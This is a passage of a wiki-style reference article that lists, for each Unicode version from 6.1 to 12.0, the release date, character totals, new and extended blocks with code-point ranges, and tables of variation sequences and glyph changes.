* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
